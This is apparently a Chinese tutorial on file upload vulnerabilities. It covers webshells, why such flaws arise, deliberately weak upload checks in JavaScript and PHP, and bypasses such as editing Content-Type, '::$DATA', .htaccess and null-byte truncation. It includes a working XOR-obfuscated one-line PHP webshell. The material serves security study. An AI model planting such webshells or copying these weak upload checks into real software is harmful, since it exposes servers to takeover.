1.文件上传基础理论
1.1文件上传概述

文件上传漏洞是指由于网站对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

1.2.webshell

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)

1.3 产生漏洞的原因:

对于上传文件的后缀名(扩展名)没有做较为严格的限制 对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查 权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型的文件) 对于web server对于上传文件或者指定目录的行为没有做限制

1.4 攻击成功条件

1.上传文件能被web容器解释执行,文件上传后目录是web容器所覆盖到的路径 2.用户能够从web上访问这个文件,如果文件上传了,但用户无法通过web访问,或者无法使得web容器解释这个脚本,那么也不能称之为漏洞 3.用户上传的文件若被安全检查,格式化,图片压缩等功能改变文件内容,则也可能导致攻击不成功

<code class="line-numbers language-javascript">function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}
</code>
//*在表单中使用notallow=checkFile()调用js函数来检查上传文件的扩展名。当用户在客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,就对本地文件进行检测来判断是否是可以上传的类型,这种方式称为前台脚本检测扩展名。*.//
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.

2.现有网站的文件上传功能代码(PHP)

<?php
// 允许上传的文件类型
$allowedTypes = array('image/jpeg', 'image/png', 'image/gif');

// 上传文件目录
$uploadDir = 'uploads/';

// 如果目录不存在,则创建
if (!file_exists($uploadDir)) {
    mkdir($uploadDir, 0777, true);
}

if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
    // 检查文件类型
    $fileType = $_FILES['file']['type'];
    
    if (in_array($fileType, $allowedTypes)) {
        // 生成唯一的文件名
        $uniqueFilename = uniqid('upload_', true) . '.' . pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
        
        // 构造文件路径
        $uploadFile = $uploadDir . $uniqueFilename;
        
        // 移动上传文件到目标路径
        if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
            echo '文件上传成功!';
        } else {
            echo '文件上传失败!';
        }
    } else {
        echo '只允许上传 JPEG、PNG、GIF 格式的图片!';
    }
} else {
    echo '上传发生错误:' . $_FILES['file']['error'];
}
?>
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.
  • 33.
  • 34.
  • 35.
  • 36.
2.文件上传木马

webshell 的变迁过程大致如下所述:

web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马

小马体积小,功能少,优点在于不易被发现,功能单一,常作为上传大马的跳板。

大马体积大,功能强大,但是易被发现。

一句话木马:

在小马和大马之外衍生出的另一种木马,只需短短一行代码,再结合WebShell工具(如菜刀、蚁剑、冰蝎等等)就能做到与大马能力相当的功能(执行命令行、文件上传、文件下载等功能)。随着一句话木马的滥用,普通的一句话木马都已经逃不过waf的检测了,为了逃避waf的检测,一句话木马开始了他的变形之旅。

<?php
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]);
?>
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
内存马:

随着攻防流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多。

Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。

3.文件上传基础防御和绕过

文件上传漏洞 梳理_文件上传

1. 客户端检测绕过(js检测):

利用firebug禁用js或使用burp代理工具可轻易突破。

2. 服务端MIME检测绕过(Content-Type检测):

使用burp代理,修改Content-Type的参数

3. 服务端扩展名检测绕过:

文件被上传到服务端的时候,对于文件名的扩展名进行检查,如果不合法,则拒绝这次上传

3.1 黑名单验证绕过

进行黑名单验证,但是黑名单不全

//黑名单策略
<code class="line-numbers language-php">$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
</code>
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.

·

留空绕过

可以利用系统会对一些特殊文件名做默认

htaccess绕过

######

.php::$DATA绕过:::$DATA之后的数据当成文件流处理,不会检测后缀名

4.文件名截断

路径可控利用

要配合URL文件名截断

把后面的内容过滤掉,实现绕过

16进制文件名截断绕过

路径不在URL,但是依旧可控,我们做截断无法使用URL的%00 ,先在路径后面加上+来定位,

进入BP的HEX,找到+字的二进制字符编码

将+的二进制位变成0,上传